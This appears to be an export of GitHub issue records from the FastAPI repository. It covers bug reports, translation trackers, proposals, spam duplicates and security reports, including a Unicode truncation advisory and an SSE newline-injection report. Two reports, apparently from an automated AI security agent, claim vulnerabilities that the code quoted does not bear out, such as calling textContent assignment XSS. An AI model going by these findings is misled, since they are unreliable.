1. **Multiple major dependency jumps happened simultaneously on Apr 27** with no explanatory release notes — recommend adding a changelog entry explaining why

2. **pydantic-ai upgrade cadence is very fast** — already at 1.86.0 in pending PR #15459; worth monitoring for regressions

3. **pydantic 2.13.x may introduce breaking changes** — recommend thorough testing of Pydantic v2 compatibility, especially with custom validators

4. **No regression issues found** in the review period

### Recommendation
- Add explanatory release notes for the Apr 27 dependency batch update
- Consider pinning critical dependency versions if not already done
- Monitor ... [TRUNCATED]",,2026-05-01T01:48:47Z,2026-05-01T04:21:02Z,0
tiangolo/fastapi,4347329743,Malformed Links in Documentation Home,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi, 

I just accessed the documentation home page and saw that the links on the Opinitions sections was malformed: 

<img width=""1742"" height=""1220"" alt=""Image"" src=""https://github.com/user-attachments/assets/b40f29ae-4472-4157-9ec7-a5eb1afdb85c"" />

I though about correcting it to start contributing, but I don't have the time rn, so I wanted to report. If I have the time I might look into correcting this to start contributing more.

Please, feel free to connect and hope to have helped. Let me know if this is not the right place and where that would be.

Best,",,2026-04-29T01:47:27Z,2026-04-30T15:03:21Z,2
tiangolo/fastapi,4342460478,SECURITY: Ghost Bits Vulnerability - String to byte conversion silently truncates high bits,"# Ghost Bits Vulnerability in FastAPI

## Summary

A security vulnerability has been identified in Python's string-to-byte conversion mechanism that affects applications using FastAPI. The vulnerability, dubbed ""Ghost Bits,"" enables attackers to bypass WAF detection and execute SQL injection, path traversal, and XSS attacks by exploiting high-bit truncation during type conversions from Unicode strings to bytes using `latin-1` encoding.

**Note**: This vulnerability requires the use of `latin-1` encoding, which is less common than UTF-8 in modern Python code. FastAPI defaults to UTF-8, reducing the risk compared to other languages.

## Severity

**Medium** - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (7.5)

*Note: Severity is reduced from Critical to Medium due to the requirement of `latin-1` encoding and FastAPI's default UTF-8 encoding.*

## Affected Components

- FastAPI query parameter handling
- FastAPI form data processing
- FastAPI path parameter parsing

## Affected Versions

All versions (requires using latin-1 encoding)

## Technical Details

### Vulnerability Mechanism

When Python code converts Unicode strings to bytes using `ord() & 0xFF` or `encode('latin-1')`, high bits are silently discarded:

```python
# Method 1: ord() & 0xFF
ch = '\u2F58'  # 爻 (U+2F58) = 0x00002F58
byte = ord(ch) & 0xFF  # Only low 8 bits: 0x58 = 'X'

# Method 2: encode('latin-1')
str_val = '爻'
bytes_val = str_val.encode('latin-1')  # [0x58], truncation!
```

**Critical Finding**: This req... [TRUNCATED]",,2026-04-28T10:39:38Z,2026-04-28T11:55:54Z,2
tiangolo/fastapi,4305867513,SSE `stream_item_type` not propagated through `APIRouter` + `include_router`,"### Summary

When an SSE route (`response_class=EventSourceResponse` + `AsyncIterator[Frame]` return annotation) is defined on an `APIRouter` and then merged onto a `FastAPI` app via `include_router`, the resulting merged route loses its `stream_item_type`. As a consequence, the OpenAPI `text/event-stream` response schema omits the `data.contentSchema`, so tooling like `datamodel-codegen` cannot generate frame models.

Defining the same route directly on the `FastAPI` app via `@app.post(...)` works correctly.

### Reproduction

```python
from collections.abc import AsyncIterator

from fastapi import APIRouter, FastAPI
from fastapi.sse import EventSourceResponse
from pydantic import BaseModel


class Frame(BaseModel):
    kind: str


# Case A — route registered directly on the app: works
app_a = FastAPI()

@app_a.post(""/s"", response_class=EventSourceResponse)
async def a() -> AsyncIterator[Frame]:
    yield Frame(kind=""x"")


# Case B — route defined on a router, then `include_router`: broken
router = APIRouter()

@router.post(""/s"", response_class=EventSourceResponse)
async def b() -> AsyncIterator[Frame]:
    yield Frame(kind=""x"")


app_b = FastAPI()
app_b.include_router(router)

print(""DIRECT:"", app_a.routes[-1].stream_item_type)
print(""ROUTER (pre-include):"", router.routes[-1].stream_item_type)
print(""APP (post-include):"", app_b.routes[-1].stream_item_type)


def has_content_schema(spec: dict) -> bool:
    sse = spec[""paths""][""/s""][""post""][""responses""][""200""][""content""][""tex... [TRUNCATED]",,2026-04-21T23:35:56Z,2026-05-18T13:16:17Z,7
tiangolo/fastapi,4247411221,🚨 Security Vulnerability Detected: tests/test_tutorial/test_security/test_tutorial004.py,"## Sentinel-Zero Automated Report

**Issue:**
The code contains hardcoded secrets, such as the password 'secret' in the get_access_token function and the test_login function.

*A patch is being generated and a PR will be linked shortly.*",,2026-04-12T09:31:49Z,2026-04-12T11:26:00Z,0
tiangolo/fastapi,4247002591,🚨 Security Vulnerability Detected: docs/en/docs/js/custom.js,"I have built a AI Agentic Security Analyst that analyses repos with security vulnerabilities... so this was one of it's remediation. Kindly merge it

You can view the repository here👇

Repository Link: https://github.com/Sumedh-6504/sentinel_zero.git

_Originally posted by @Sumedh-6504 in https://github.com/fastapi/fastapi/issues/15323#issuecomment-4230983767_
            ",,2026-04-12T07:27:51Z,2026-04-12T08:41:12Z,0
tiangolo/fastapi,4246979301,🚨 Security Vulnerability Detected: docs/en/docs/js/custom.js,"## Sentinel-Zero Automated Report

**Issue:**
{""vulnerable"": true, ""type"": ""DOM-based XSS"", ""description"": ""The code uses `node.textContent = inputCommands;` which can lead to DOM-based XSS if the `inputCommands` variable contains user-controlled data. Additionally, the `showRandomAnnouncement` function uses `children[index].style.display = 'block'` which can also lead to DOM-based XSS if the `children` array contains user-controlled data.""}

*A patch is being generated and a PR will be linked shortly.*",,2026-04-12T07:14:37Z,2026-04-12T07:28:17Z,0
tiangolo/fastapi,4183383596,Add Clarvia AEO badge — FastAPI agent-readiness score,"## Add Clarvia AEO Badge — FastAPI Agent Readiness Score

Hi! I'm building [Clarvia](https://clarvia.art) — an AEO (AI Engine Optimization) platform that rates APIs and frameworks for autonomous agent integration quality.

FastAPI is used by millions of developers to build APIs, and increasingly these APIs are being consumed by AI agents. An AEO badge would help FastAPI developers understand how agent-friendly their APIs are.

**What is AEO?** AEO evaluates APIs for:
- 📚 OpenAPI/JSON Schema completeness
- 🔧 Structured error responses
- 🔍 Agent discoverability (OpenAPI auto-discovery)
- 🛡️ Security patterns (OAuth2, API keys)
- 🌐 Ecosystem health

FastAPI actually excels at many of these (automatic OpenAPI generation, typed responses, OAuth2 support) — which is why we think it deserves a high AEO score.

**Badge markdown:**
```markdown
[![AEO Score](https://clarvia.art/api/badge/fastapi)](https://clarvia.art/tool/fastapi)
```

Full FastAPI profile: https://clarvia.art — 27,906+ tools indexed.

This would be a powerful signal to the AI agent developer community that FastAPI-built APIs are agent-ready by default!",,2026-04-01T01:25:40Z,2026-04-16T12:51:26Z,1
tiangolo/fastapi,4152423819,"Static analysis commands are duplicated across lint.sh and pre-commit, making drift likely","## Summary

The recent change in PR #15136 adds `ty check fastapi` to `scripts/lint.sh`, but FastAPI now maintains the static-analysis command set in multiple places with slightly different entrypoints:

- `scripts/lint.sh`
- `.pre-commit-config.yaml`
- `.github/workflows/pre-commit.yml` / CI setup

This creates a drift risk: each time a new checker is added or an existing one changes invocation details, contributors and automation may silently diverge.

## Why this matters

Right now, `ty` is present both in `scripts/lint.sh` and in `.pre-commit-config.yaml`, but they are not driven from a single source of truth:

- `scripts/lint.sh` runs bare executables:
  - `mypy fastapi`
  - `ty check fastapi`
  - `ruff check ...`
  - `ruff format ... --check`
- `.pre-commit-config.yaml` runs the same tools through `uv run ...`

This means future updates can easily land in one path but not the others. PR #15136 is a good example of how easy it is for the maintenance burden to increase with every new tool added.

## Concrete risk

A contributor can get different results depending on whether they run:

- `bash scripts/lint.sh`
- `prek run -a`
- the GitHub Actions pre-commit workflow

Even if they currently happen to pass, the repo is relying on humans to remember to update several places whenever the lint stack changes.

## Suggested fix

Use one source of truth for the static checks. For example:

1. Make `.pre-commit-config.yaml` call `bash scripts/lint.sh` (or smaller script fragments),... [TRUNCATED]",,2026-03-27T12:57:39Z,2026-03-27T13:55:36Z,0
tiangolo/fastapi,4152273850,scripts/people.py still ignores minimized top-level discussions in People stats,"## Summary
The recent change in `scripts/people.py` that excludes minimized comments/replies from the FastAPI People statistics is incomplete for top-level discussions.

The GraphQL query now fetches `minimizedReason` for each discussion node, but `DiscussionsNode` does not model that field and `get_discussions_experts()` never checks it before processing the discussion's comments/replies.

As a result, a minimized discussion can still contribute participants to the People stats through its non-minimized replies/comments, even though the thread itself has already been moderation-minimized.

## Relevant recent change
- Commit: `0227991` (`🔨 Exclude spam comments from statistics in scripts/people.py`)

## What I observed
In `scripts/people.py`:

1. The GraphQL query includes `minimizedReason` on the discussion node itself.
2. `DiscussionsNode` only defines:
   - `number`
   - `author`
   - `title`
   - `createdAt`
   - `comments`
3. `get_discussions_experts()` filters `comment.minimizedReason` and `reply.minimizedReason`, but never filters the discussion/thread itself.

That means the top-level moderation state is fetched but ignored.

## Why this matters
If a discussion is minimized for spam / abuse / off-topic / duplicate reasons, the script still traverses that discussion and can count participants from replies/comments under that thread.

So the recent fix is only partial: it excludes minimized comments, but not minimized discussions.

## Expected behavior
If a discussion i... [TRUNCATED]",,2026-03-27T12:37:13Z,2026-03-27T13:54:55Z,0
tiangolo/fastapi,4152207618,Review: compatibility and contract risks around Pydantic >=2.9.0 floor bump,"## Summary

I reviewed the most recent framework-affecting upstream changes visible around FastAPI 0.135.2. The main substantive change in the inspected window is PR #15139:

- Increase lower bound to `pydantic >= 2.9.0`
- Adjust tests to accept multiple schema shapes across Pydantic 2.9/2.10/2.11

Overall, the code delta is small, but the compatibility impact is not. The main concern is release-management and contract clarity, not request-path performance.

## Findings

### High — Potential breaking change shipped as a patch release

FastAPI changed its dependency floor from `pydantic>=2.7.0` to `pydantic>=2.9.0` in what appears as a patch release (`0.135.2`).

**Why this matters**
- Patch upgrades are commonly assumed to be safe.
- This can break downstream environments pinned to Pydantic 2.7.x or 2.8.x.
- Lockfile resolution may now force broader upgrades than users expect.

**Recommendation**
- Treat this as a breaking compatibility note in release notes, or
- Move dependency floor changes like this to a minor release unless there is a hard runtime correctness reason.

### Medium — Test contract is now more permissive, reducing schema-surface precision

The updated tests use flexible assertions (`IsOneOf`) to accept multiple OpenAPI/JSON Schema shapes depending on the installed Pydantic version.

Examples include:
- top-level schema presence/absence differences
- `additionalProperties` presence differences
- `const`-only vs `const + enum` output differences

**Why this ma... [TRUNCATED]",,2026-03-27T12:27:32Z,2026-03-27T13:53:50Z,0
tiangolo/fastapi,4118738370,FastAPI + Starlette 1.0.0: Jinja2 TemplateResponse raises 'unhashable type: dict',"## Description

After upgrading to Starlette 1.0.0, FastAPI applications using Jinja2 templates fail with:

```
TypeError: cannot use 'tuple' as a dict key (unhashable type: 'dict')
```

at `jinja2/utils.py`, line 515.

## Environment

- FastAPI 0.135.1
- Starlette 1.0.0
- Jinja2 3.1.6
- Tested on Python 3.12 and 3.14 (issue reproduced on both)

## Steps to reproduce

1. Install `fastapi==0.135.1` with `starlette==1.0.0`
2. Create a route that returns a `Jinja2Templates.TemplateResponse`
3. Any template render raises the error above

## Workaround

Pin `starlette<1.0.0` in `requirements.txt`.

## Notes

This appears to be related to breaking changes in Starlette 1.0.0's `TemplateResponse` signature. FastAPI may need to update how it passes context to Jinja2 templates for Starlette 1.0.0 compatibility.

Detected in production during a routine deployment where pip resolved Starlette 1.0.0 instead of 0.52.x.",,2026-03-23T07:06:28Z,2026-03-23T07:54:02Z,0
tiangolo/fastapi,4112805369,Bug: SSE protocol injection via unvalidated event and id fields in format_sse_event(),"**Severity:** Low (framework-level), Medium/High in affected applications
**CWE:** CWE-116: Improper Encoding for Output in a Different Plaintext Context
**OWASP:** A03:2021: Injection
**Affected version:** FastAPI 0.135.1 (master, commit `2742546af`)
**Affected file:** `fastapi/sse.py` (FastAPI-owned code, not Starlette)
**Fix PR:** #15187
**Discovered:** 2026-03-20

---

## What's happening

`format_sse_event()` builds SSE wire-format bytes by directly interpolating the `event` and `id` fields into output lines without stripping or rejecting newline characters. If either field contains a `\n` or `\r\n`, it injects an extra SSE field-line into the stream. The browser's `EventSource` parser has no way to tell injected lines from real ones, so it treats them as valid protocol fields.

The `data` and `comment` fields in the same function are already handled safely with `splitlines()`. The omission for `event` and `id` looks like an oversight rather than a deliberate choice.

---

## Background: the SSE wire format

SSE is a plain-text streaming protocol from the [HTML Living Standard §9.2](https://html.spec.whatwg.org/multipage/server-sent-events.html). Each event is a sequence of `field: value` lines separated by blank lines:

```
event: message\n
id: 42\n
data: {""text"": ""hello""}\n
\n
```

The newline is the entire field separator. There is no quoting, no escaping, no length prefix. The parser reads byte-by-byte and splits on `\n` and `\r\n`. A newline inside a value is struct... [TRUNCATED]",,2026-03-21T15:09:30Z,2026-03-22T08:17:00Z,2
tiangolo/fastapi,4089847705,"I had similar issue, solved like this:","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I had similar issue, solved like this:",,2026-03-17T16:55:44Z,2026-03-17T17:19:18Z,0
tiangolo/fastapi,4076716509,🌐 Urdu (اردو) Documentation Translation — Review Tracker,"## 🌐 Urdu (اردو) Documentation Translation — Review Tracker

This issue tracks the review progress for the complete Urdu documentation translation added in #15117.

### 📖 Preview the docs

👉 **[Preview Urdu Docs](https://d914cf26.fastapitiangolo.pages.dev/ur/)**

### 🤝 How to help review

This is a **collaborative review effort** — you don't need to review everything! Pick one or a few pages, review them, and check them off. This way the workload is distributed across multiple reviewers.

**Review guidelines:**
- Check the translation for accuracy and natural Urdu flow
- Ensure technical terms are kept in English (as per the [translation prompt](https://github.com/fastapi/fastapi/blob/feat/urdu-docs-translation/docs/ur/llm-prompt.md))
- Verify code blocks and links are intact
- Comment on the PR with any corrections needed, referencing the file path
- Once a page looks good, check it off below

---

### Pages to Review

#### Root Pages
- [ ] [index.md](https://d914cf26.fastapitiangolo.pages.dev/ur/) — مرکزی صفحہ (Landing Page)
- [ ] [features.md](https://d914cf26.fastapitiangolo.pages.dev/ur/features/) — خصوصیات
- [ ] [python-types.md](https://d914cf26.fastapitiangolo.pages.dev/ur/python-types/) — Python Types
- [ ] [async.md](https://d914cf26.fastapitiangolo.pages.dev/ur/async/) — Async / Concurrency
- [ ] [benchmarks.md](https://d914cf26.fastapitiangolo.pages.dev/ur/benchmarks/) — بینچ مارکس
- [ ] [alternatives.md](https://d914cf26.fastapitiangolo.pages.dev/ur/alternatives/... [TRUNCATED]",,2026-03-14T20:57:02Z,2026-03-14T21:04:54Z,1
tiangolo/fastapi,4074828103,Injected BackgroundTasks silently discarded when Response has its own background,"### Description

When an endpoint uses both dependency-injected `BackgroundTasks` and returns a `Response` object that already has its own `background` attribute set, the injected background tasks are silently discarded. This causes tasks to disappear without any error, warning, or indication of what went wrong, which can lead to very hard-to-debug issues in production.

### Example

```python
from fastapi import FastAPI, BackgroundTasks
from starlette.responses import Response
from starlette.background import BackgroundTask

app = FastAPI()

@app.get(""/"")
async def endpoint(tasks: BackgroundTasks):
    tasks.add_task(lambda: print(""This will NOT be printed""))
    return Response(
        content=""Custom response"",
        background=BackgroundTask(lambda: print(""Only this will be printed"")),
    )
```

In this case, `tasks.add_task(...)` silently does nothing because the returned `Response` already has a `background` and FastAPI does not attach the injected tasks.

### Current behavior

The dependency-injected `BackgroundTasks` are silently dropped with no warning or error.

### Expected behavior

At minimum, a `UserWarning` should be emitted so the developer knows their injected background tasks are being discarded. The warning message should explain how to resolve the conflict.

### Root cause

In `fastapi/routing.py`, the request handler checks `raw_response.background is None` before attaching the injected tasks. If the response already has a background, the injected tas... [TRUNCATED]",,2026-03-14T06:11:27Z,2026-03-14T06:35:04Z,0
tiangolo/fastapi,4050391079,Docs: No guidance on Pandas DataFrame serialization — numpy types cause JSON errors,"## Summary

The `encoder.md` tutorial covers `jsonable_encoder` for Pydantic models and Python `datetime` objects, but does not mention **Pandas DataFrames** — a very common data source in FastAPI apps (ML pipelines, analytics APIs, data science backends).

## The Problem

When returning data from a Pandas DataFrame using `.to_dict(orient=""records"")`, columns retain **NumPy types** (`numpy.int64`, `numpy.float64`, `numpy.nan`, `pandas.NaT`). These are **not natively JSON serializable**, causing runtime errors:

```
TypeError: Object of type int64 is not JSON serializable
```

Or silently producing invalid JSON with `NaN` values (not valid JSON spec).

## Minimal Reproduction

```python
from fastapi import FastAPI
import pandas as pd

app = FastAPI()

@app.get(""/data"")
def get_data():
    df = pd.DataFrame({
        ""count"": [1, 2, 3],        # numpy.int64
        ""score"": [1.5, float(""nan""), 3.0],  # numpy.float64 + NaN
    })
    return df.to_dict(orient=""records"")  # 💥 NaN breaks JSON, int64 may fail
```

## Expected

Docs should show the safe pattern for returning Pandas DataFrames:

```python
from fastapi.encoders import jsonable_encoder

@app.get(""/data"")
def get_data():
    df = pd.DataFrame({...})
    # ✅ Converts numpy types + handles NaT/NaN -> null
    return jsonable_encoder(df.to_dict(orient=""records""))
```

Or alternatively using pandas native JSON serialization:

```python
import json

@app.get(""/data"")
def get_data():
    df = pd.DataFrame({...})
    # ✅ pandas... [TRUNCATED]",,2026-03-10T09:01:47Z,2026-03-10T09:10:37Z,0
tiangolo/fastapi,4022804520,Add .cursorrules file to help Cursor IDE users follow FastAPI conventions,"## Proposal: Add a `.cursorrules` file for Cursor IDE contributors

Hi\! I noticed the FastAPI repo does not have a `.cursorrules` file. FastAPI is hugely popular and many contributors use [Cursor IDE](https://cursor.sh). A `.cursorrules` file tells Cursor's AI assistant about the project's conventions, helping contributors write matching code from the start.

### What `.cursorrules` does

It instructs Cursor's AI to follow your project's:
- Coding style and naming conventions
- Architectural patterns (dependency injection, Pydantic models, etc.)
- Testing approach
- Common patterns to follow and pitfalls to avoid

For FastAPI specifically this is valuable since Pydantic v2 + async patterns have non-obvious conventions new contributors often get wrong.

### What I'd suggest

A `.cursorrules` for this repo could cover:
- Pydantic v2 model patterns (`model_config = ConfigDict(...)`, validators)
- `Depends()` injection patterns
- Async-first with `asyncio.gather()` for concurrent operations
- `pytest` + `httpx.AsyncClient` testing patterns
- Strict type annotation conventions (no implicit `Any`)

I maintain an open-source collection at https://github.com/survivorforge/cursor-rules that includes a [python-fastapi rules file](https://github.com/survivorforge/cursor-rules/tree/main/rules/python-fastapi) that could serve as a starting point.

### Options

1. **I can submit a PR** with a `.cursorrules` tailored to FastAPI's codebase conventions
2. **You can adapt** the [python-fastap... [TRUNCATED]",,2026-03-04T16:08:33Z,2026-03-04T16:14:52Z,0
tiangolo/fastapi,3989804639,Consider speciesist language in documentation,"## Summary

While reviewing the FastAPI codebase and documentation for inclusive language, I identified several instances of terminology that could be updated to use more inclusive, non-speciesist alternatives. This aligns with broader industry trends toward inclusive language (similar to efforts around master/main, blacklist/allowlist, etc.).

## Findings

### 1. Blacklist / Whitelist in fastapi/param_functions.py (14 instances)

The docstrings for validation_alias and serialization_alias parameters across all parameter functions (Path, Query, Header, Cookie, Body, Form, File) use the terms Whitelist validation step and Blacklist validation step.

Example (lines 62, 71):

\
Suggested alternatives: Allowlist / Denylist (or Inclusion / Exclusion)

### 2. monkey patching in fastapi/dependencies/utils.py (line 575)

\
This is a widely-used technical term with origins rooted in animal exploitation metaphors. The alternative runtime patching is equally clear and more descriptive of what actually happens.

Suggested alternative: runtime patching

### 3. Default branch name master

The repository still uses master as its default branch. While not speciesist per se, this is related to the broader inclusive language conversation. GitHub's own default changed to main in 2020, and many major projects (including Python, Django, Redis, and others) have already made this transition.

Suggested alternative: main

This would also affect approximately 15+ hardcoded references to master in doc... [TRUNCATED]",,2026-02-25T14:27:41Z,2026-02-25T14:59:54Z,0
tiangolo/fastapi,3989674797,Consider speciesist language in documentation,"## Summary

While reviewing the FastAPI codebase and documentation for inclusive language, I identified several instances of terminology that could be updated to use more inclusive, non-speciesist alternatives. This aligns with broader industry trends toward inclusive language (similar to efforts around master/main, blacklist/allowlist, etc.).

## Findings

### 1. `Blacklist` / `Whitelist` in `fastapi/param_functions.py` (14 instances)

The docstrings for `validation_alias` and `serialization_alias` parameters across all parameter functions (`Path`, `Query`, `Header`, `Cookie`, `Body`, `Form`, `File`) use the terms `'Whitelist' validation step` and `'Blacklist' validation step`.

**Example** (lines 62, 71):

```python
validation_alias: Annotated[
    str | AliasPath | AliasChoices | None,
    Doc(
        """"""
        'Whitelist' validation step. The parameter field will be the single one
        allowed by the alias or set of aliases defined.
        """"""
    ),
] = None,
serialization_alias: Annotated[
    str | None,
    Doc(
        """"""
        'Blacklist' validation step. The vanilla parameter field will be the
        single one of the alias' or set of aliases' fields and all the other
        fields will be ignored at serialization time.
        """"""
    ),
] = None,
```

**Suggested alternatives:** `'Allowlist'` / `'Denylist'` (or `'Inclusion'` / `'Exclusion'`)

### 2. `monkey patching` in `fastapi/dependencies/utils.py` (line 575)

... [TRUNCATED]",,2026-02-25T14:03:43Z,2026-02-25T15:00:12Z,0
tiangolo/fastapi,3983459047,I'm @tiangolo or he asked me directly to create an issue here.,,,2026-02-24T12:31:26Z,2026-02-24T12:33:11Z,0
tiangolo/fastapi,3983457051,Dependency keeps going after response returns when there exists any backgroud tasks.,"### Privileged issue

- [ ] #14989

### Issue Content

```python
import asyncio

from fastapi import Depends, BackgroundTasks, FastAPI
from fastapi.responses import PlainTextResponse


app = FastAPI()

async def dep():
    yield
    print(""dep done"")

async def task():
    await asyncio.sleep(5)
    print(""task done"")

@app.get(""/test"", response_class=PlainTextResponse, tags=[""test""], dependencies=[Depends(dep)])
async def test(bk: BackgroundTasks):
    bk.add_task(task)
    return ""OK""
```

When access test endpoint, Both fastapi 0.128.0 and 0.133.0 have this behavior:

1. Response returns
2. print ""dep done""
3. print ""task done"".

But in fastapi 0.115.12:

1. print ""dep done""
2. Response returns
3. print ""task done"".

When the dependency is a database transaction, transaction is not committed after response returns, data changes are not accessable before backgroud tasks completion.",,2026-02-24T12:31:01Z,2026-02-24T13:35:41Z,0
tiangolo/fastapi,3921890079,Bug with complex fields (`list[str]`) inside `BaseModel`,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

## Summary
When ""complex"" (e.g., `list[str]`) field is definied inside `BaseModel`, it doesn't get parsed.

## MRE1
### Summary
Example when ""complex"" field defined in `BaseModel` doesn't get parsed.

#### Code
```python
from typing import Annotated
import uvicorn
from fastapi import Depends, FastAPI, Query
from pydantic import BaseModel

class MyParams(BaseModel):
    size: Annotated[int | None, Query()] = None
    field: Annotated[list[str] | None, Query()] = None

app = FastAPI()

@app.get(""/items"")
async def get_items(
    params: Annotated[MyParams, Depends()],
) -> None:
    print(""params: "", params)

if __name__ == ""__main__"":
    uvicorn.run(app, host=""127.0.0.1"", port=8000)
```

#### Request:
```bash
curl --location 'localhost:8000/items?size=100&field=foo&field=bar'
```

#### Expected:
```text
params:  size=100 field=foo,bar
INFO:     127.0.0.1:54972 - ""GET /items?size=100&field=foo&field=bar HTTP/1.1"" 200 OK
```

#### Actual:
```text
params:  size=100 field=None
INFO:     127.0.0.1:54972 - ""GET /items?size=100&field=foo&field=bar HTTP/1.1"" 200 OK
```

## MRE2
### Summary
Example when ""complex"" field is moved from `BaseModel` to a separate attribute and gets parsed.

#### Code
```python
from typing import Annotated
import uvicorn
from fastapi import Depends, FastAPI, Query
from pydantic import BaseModel

class MyParams(BaseModel):
    size: Annotated[int | ... [TRUNCATED]",,2026-02-10T14:47:36Z,2026-02-10T14:57:18Z,2
tiangolo/fastapi,3894082048,estoque ses,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

_No response_",,2026-02-04T01:43:34Z,2026-02-04T06:04:33Z,1
tiangolo/fastapi,3876021502,Add Arabic (العربية) documentation translation,"### Description

FastAPI currently supports translations in 13 languages (de, en, es, fr, ja, ko, pt, ru, tr, uk, zh, zh-hant), but Arabic (العربية) is not yet available.

Arabic is spoken by over 400 million people and is widely used in the growing tech communities across the Middle East and North Africa (MENA region). Many Arabic-speaking developers use FastAPI in production, and having documentation in Arabic would significantly lower the barrier to entry.

### What I'd like to contribute

I'd like to start an Arabic translation following the [Contributing to translations](https://fastapi.tiangolo.com/contributing/#translations) guide. I would begin with:

1. `docs/ar/docs/index.md` (landing page)
2. `docs/ar/docs/tutorial/first-steps.md` (getting started)
3. `docs/ar/docs/tutorial/path-params.md` (path parameters)

### Notes

- Arabic is an RTL (right-to-left) language, which may require some CSS/layout considerations in the MkDocs theme
- I'm a native Arabic speaker and active FastAPI user (using it in a healthcare RAG application)
- Happy to coordinate with other Arabic-speaking contributors

Would love to get approval before starting work on this. Thanks! 🚀",,2026-01-30T14:43:11Z,2026-01-30T14:52:30Z,0
tiangolo/fastapi,3798488176,StreamingResponse doc example needs correction,"[`StreamingResponse` docs](https://fastapi.tiangolo.com/advanced/custom-response/?h=responses#streamingresponse) state:

> Takes an async generator or a normal generator/iterator

However based on https://github.com/Kludex/starlette/discussions/1776#discussioncomment-3207518 `async` generetors need something `await`ed to work:

```py
import asyncio
from time import sleep
from fastapi import FastAPI
from fastapi.responses import StreamingResponse

app = FastAPI()

async def fake_video_streamer():
    for i in range(10):
        sleep(0.1)
        yield b""some fake video bytes""
        # await asyncio.sleep(0)  # <-- uncomment to fix example

@app.get(""/"")
async def main():
    """"""
    this is as per
    https://fastapi.tiangolo.com/advanced/custom-response/?h=responses#streamingresponse
    but does not to work (blocks for 1 sec, then returns all chunks at once):
      curl -sNo- localhost:8000
      wget -qO- localhost:8000
    """"""
    return StreamingResponse(fake_video_streamer())
```

- `uvicorn==0.40.0`
- `fastapi==0.128.0`",,2026-01-09T22:08:41Z,2026-02-27T19:12:47Z,4
tiangolo/fastapi,3720193758,"Discriminated Unions Break When Wrapped in Annotated[Union, Body(...)] in FastAPI 0.124.1+","
### Discussed in https://github.com/fastapi/fastapi/discussions/14495

<div type='discussions-op-text'>

<sup>Originally posted by **atlasale** December 11, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated, Union
from pydantic import BaseModel, Tag, Discriminator
from fastapi import FastAPI, Body

class Cat(BaseModel):
    pet_type: str = ""cat""
    meows: int

class Dog(BaseModel):
    pet_type: str = ""dog""
    barks: float

def get_pet_type(v):
    if isinstance(v, dict):
        return v.get(""pet_type"", """")
    return getattr(v, ""pet_type"", """")

# Define discriminated union
Pet = Annotated[
    Union[
        Annotated[Cat, Tag(""cat"")],
        ... [TRUNCATED]",bug,2025-12-11T16:55:18Z,2025-12-12T14:35:09Z,1
tiangolo/fastapi,3718720376,Performance issue,Slow response under load,,2025-12-11T10:14:58Z,2025-12-11T10:54:18Z,0
tiangolo/fastapi,3718716716,Performance issue,Slow response under load,,2025-12-11T10:14:05Z,2025-12-11T10:54:29Z,0
tiangolo/fastapi,3718712871,Performance issue,Slow response under load,,2025-12-11T10:13:16Z,2025-12-11T10:55:37Z,0
tiangolo/fastapi,3718696203,Performance issue,Slow response under load,,2025-12-11T10:09:18Z,2025-12-11T10:55:47Z,0
tiangolo/fastapi,3718693990,Performance issue,Slow response under load,,2025-12-11T10:08:46Z,2025-12-11T10:56:10Z,0
tiangolo/fastapi,3718690460,Performance issue,Slow response under load,,2025-12-11T10:07:52Z,2025-12-11T10:54:07Z,0
tiangolo/fastapi,3718685407,Performance issue,Slow response under load,,2025-12-11T10:06:31Z,2025-12-11T10:10:40Z,0
tiangolo/fastapi,3718670781,Performance issue,Slow response under load,,2025-12-11T10:02:17Z,2025-12-11T10:05:47Z,1
tiangolo/fastapi,3718666596,Performance issue,Slow response under load,,2025-12-11T10:01:03Z,2025-12-11T10:05:02Z,0
tiangolo/fastapi,3718662877,Performance issue,Slow response under load,,2025-12-11T10:00:01Z,2025-12-11T10:04:55Z,0
tiangolo/fastapi,3714874558,"In FastAPI 0.123.7, annotations from code imported in `if TYPE_CHECKING` could break","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

In FastAPI 0.123.7, annotations from code imported in `if TYPE_CHECKING` could break

Originally discussed in https://github.com/fastapi/fastapi/discussions/14464 and https://github.com/fastapi/fastapi/pull/11355

Minimal example extracted from the discussion:

```Python
# /// script
# requires-python = ""==3.14.*""
# dependencies = [
#   ""fastapi==0.123.7"",
#   ""uvicorn"",
# ]
# ///

from __future__ import annotations

from typing import TYPE_CHECKING, Annotated

from fastapi import Depends, FastAPI

if TYPE_CHECKING:
    from collections.abc import AsyncGenerator

app = FastAPI()


class DummyClient:
    async def get_people(self) -> list:
        return [""John Doe"", ""Jane Doe""]

    async def close(self) -> None: ...


async def get_client() -> AsyncGenerator[DummyClient, None]:
    client = DummyClient()
    yield client
    await client.close()


Client = Annotated[DummyClient, Depends(get_client)]


@app.get(""/"")
async def get_people(client: Client) -> list:
    return await client.get_people()


if __name__ == ""__main__"":
    import uvicorn
    uvicorn.run(app, host=""0.0.0.0"", port=8000)
```

Handled in https://github.com/fastapi/fastapi/pull/14485",bug,2025-12-10T11:53:19Z,2025-12-10T12:12:15Z,1
tiangolo/fastapi,3714411600,"Since FastAPI 0.119.0, using `arbitrary_types_allowed=True` with custom types that define their serialization and JSON Schema breaks when generating OpenAPI","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Using `arbitrary_types_allowed=True` with custom types that define their serialization and JSON Schema breaks when generating OpenAPI.

Originally reported in: https://github.com/fastapi/fastapi/discussions/14184

Extracting the minimal reproducible example from the comments:

```Python
from typing import Annotated

import numpy as np
